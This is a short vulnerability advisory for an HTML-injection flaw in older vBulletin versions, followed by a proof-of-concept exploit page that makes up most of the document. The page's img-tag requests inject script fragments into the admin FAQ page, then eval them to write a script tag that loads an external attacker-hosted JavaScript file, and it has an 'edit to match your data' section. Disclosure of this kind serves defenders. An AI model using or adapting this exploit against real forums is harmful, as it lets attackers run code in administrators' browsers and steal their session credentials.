source: https://www.securityfocus.com/bid/30134/info
vBulletin is prone to an HTML-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in dynamically generated content.
Attacker-supplied HTML and script code would run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.
Versions prior to vBulletin 3.7.2 PL1 and 3.6.10 PL3 are vulnerable.
<html>
<body>
<img
src="http://http://www.example.com/vB/upload/admincp/faq.php/0?do=<script>/*"
/>
<img
src="http://http://www.example.com/vB/upload/admincp/faq.php/1?do=*/a%3D'document.wri'/*"
/>
<img
src="http://http://www.example.com/vB/upload/admincp/faq.php/2?do=*/b%3D'te(%22<script
'/*" />
<img
src="http://http://www.example.com/vB/upload/admincp/faq.php/3?do=*/c%3D'src=http://'/*"
/>
<!--edit to match your data -->
<img
src="http://http://www.example.com/vB/upload/admincp/faq.php/4?do=*/d%3D'http://www.example.com/'/*"
/>
<img
src="http://http://www.example.com/vB/upload/admincp/faq.php/5?do=*/e%3D''/*"
/>
<img
src="http://http://www.example.com/vB/upload/admincp/faq.php/6?do=*/f%3D't.js></scrip'/*"
/>
<!-- end edit -->
<img
src="http://http://www.example.com/vB/upload/admincp/faq.php/7?do=*/g%3D't>%22)'/*"
/>
<img
src="http://http://www.example.com/vB/upload/admincp/faq.php/8?do=*/h%3Da%2Bb%2Bc%2Bd%2Be%2Bf%2Bg/*"
/>
<img
src="http://http://www.example.com/vB/upload/admincp/faq.php/9?do=*/eval(h)/*"
/>
<img
src="http://http://www.example.com/vB/upload/admincp/faq.php/a0?do=*/</script>"
/>
</body>
</html>
